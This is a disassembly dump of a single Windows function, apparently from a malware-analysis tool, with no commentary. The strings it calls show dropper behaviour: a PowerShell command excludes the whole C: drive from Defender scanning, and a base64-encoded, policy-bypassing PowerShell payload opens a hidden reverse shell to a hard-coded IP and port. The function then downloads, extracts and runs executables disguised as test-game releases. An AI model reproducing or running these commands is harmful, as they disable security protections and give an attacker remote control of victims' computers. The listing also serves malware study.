Function at 0x1400015c0
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
lea rcx, str.powershell.exe__Command_Add_MpPreference__ExclusionPath_C:
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell.exe__NoProfile__ep_bypass__e_UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAUABTAEgATwBNAEUAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHQAYwBwAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADcAMgAuADIAMwA0AC4AMgAxADcALgAxADcAMAAnACwAIAA0ADIAMAA2ADkAKQA7AAoAIAAgACAAIAAgACAAIAAgACQAbgBlAHQAdwBvAHIAawBTAHQAcgBlAGEAbQAgAD0AIAAkAHQAYwBwAEMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsACgAgACAAIAAgACAAIAAgACAAJABiAHUAZgBmAGUAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAA2ADUANQAzADUAOwAKACAAIAAgACAAIAAgACAAIAB3AGgAaQBsAGUAIAAoACgAJABiAHkAdABlAHMAUgBlAGEAZAAgAD0AIAAkAG4AZQB0AHcAbwByAGsAUwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHUAZgBmAGUAcgAsACAAMAAsACAAJABiAHUAZgBmAGUAcgAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBjAGUAaQB2AGUAZABEAGEAdABhACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAdQBmAGYAZQByACwAIAAwACwAIAAkAGIAeQB0AGUAcwBSAGUAYQBkACkAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAHgAZQBjAHUAdABpAG8AbgBSAGUAcwB1AGwAdAAgAD0AIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHIAZQBjAGUAaQB2AGUAZABEAGEAdABhACAAMgAACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAOwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAFQAbwBTAGUAbgBkACAAPQAgACQAZQB4AGUAYwB1AHQAaQBvAG4AUgBlAHMAdQBsAHQAIAArACAAJwBQAFMAIAAnACAAKwAgACgARwBlAHQALQBMAG8AYwBhAHQAaQBvAG4AKQAuAFAAYQB0AGgAIAArACAAJwAACAAJwA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAQgB5AHQAZQBzACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAHkAdABlAHMAKAAkAHIAZQBzAHAAbwBuAHMAZQBUAG8AUwBlAG4AZAApADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG4AZQB0AHcAbwByAGsAUwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHIAZQBzAHAAbwBuAHMAZQBCAHkAdABlAHMALAAgADAALAAgACQAcgBlAHMAcABvAG4AcwBlAEIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAOwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbgBlAHQAdwBvAHIAawBTAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAOwAKACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAJAB0AGMAcABDAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAIAB9ACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp - 0x50], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
mov ecx, 0x80
call fcn.140002388
mov rcx, rax
mov qword [rbp - 0x48], rax
movdqa xmm0, xmmword [0x140004f50]
movdqu xmmword [rbp - 0x38], xmm0
movaps xmm0, xmmword [str.Invoke_WebRequest__Uri_https:__github.com_eval_z_Daulaires_releases_download_Lester_TestGame.02.APP.zip__OutFile_TestGame.zip]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140004ce0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140004cf0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140004d00]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140004d10]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140004d20]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x140004d30]
movups xmmword [rax + 0x60], xmm0
movsd xmm0, qword [0x140004d40]
movsd qword [rax + 0x70], xmm0
mov eax, dword [0x140004d48]
mov dword [rcx + 0x78], eax
movzx eax, word [0x140004d4c]
mov word [rcx + 0x7c], ax
movzx eax, byte [0x140004d4e]
mov byte [rcx + 0x7e], al
mov byte [rcx + 0x7f], 0
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x28]
call fcn.1400021d0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x1400016ec
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016e7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023c4
movdqa xmm0, xmmword [0x140004f20]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14000173b
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001736
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001736
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023c4
mov byte [rbp - 0x50], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
mov ecx, 0xb0
call fcn.140002388
mov rdx, rax
mov qword [rbp - 0x48], rax
movdqa xmm0, xmmword [0x140004f60]
movdqu xmmword [rbp - 0x38], xmm0
lea rax, str.Invoke_WebRequest__Uri_https:__github.com_eval_z_GodotTestGame_releases_download_1.0.0_data_Test_2_windows_x86_64.zip__OutFile_data_Test_2_windows_x86_64.zip
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rdx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rdx + 0x90], xmm1
movzx eax, byte [rax + 0xa0]
mov byte [rdx + 0xa0], al
mov byte [rdx + 0xa1], 0
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x28]
call fcn.1400021d0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140001830
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000182b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000182b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023c4
movdqa xmm0, xmmword [0x140004f20]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14000187f
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000187a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000187a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023c4
mov byte [rbp - 0x50], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
mov ecx, 0x50
call fcn.140002388
mov rcx, rax
mov qword [rbp - 0x48], rax
movdqa xmm0, xmmword [0x140004f30]
movdqu xmmword [rbp - 0x38], xmm0
movaps xmm0, xmmword [str.Expand_Archive__Path_TestGame.zip__DestinationPath_TestGame.03]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140004e10]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140004e20]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140004e30]
movups xmmword [rax + 0x30], xmm1
movzx eax, word [0x140004e40]
mov word [rcx + 0x40], ax
mov byte [rcx + 0x42], 0
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x28]
call fcn.1400021d0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140001939
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001934
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001934
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023c4
movdqa xmm0, xmmword [0x140004f20]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140001988
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001983
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001983
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023c4
mov byte [rbp - 0x50], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
mov ecx, 0x70
call fcn.140002388
mov rcx, rax
mov qword [rbp - 0x48], rax
movdqa xmm0, xmmword [0x140004f40]
movdqu xmmword [rbp - 0x38], xmm0
movaps xmm0, xmmword [str.Expand_Archive__Path_data_Test_2_windows_x86_64.zip__DestinationPath_data_Test_2_windows_x86_64]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140004e60]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140004e70]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140004e80]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140004e90]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140004ea0]
movups xmmword [rax + 0x50], xmm1
movzx eax, word [0x140004eb0]
mov word [rcx + 0x60], ax
movzx eax, byte [0x140004eb2]
mov byte [rcx + 0x62], al
mov byte [rcx + 0x63], 0
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x28]
call fcn.1400021d0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140001a62
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023c4
movdqa xmm0, xmmword [0x140004f20]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140001ab1
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001aac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001aac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023c4
lea rcx, str.TestGame.03TestGame.02.APP.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.data_Test_2_windows_x86_64TestGame.03.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140002460
add rsp, 0x70
pop rbp
ret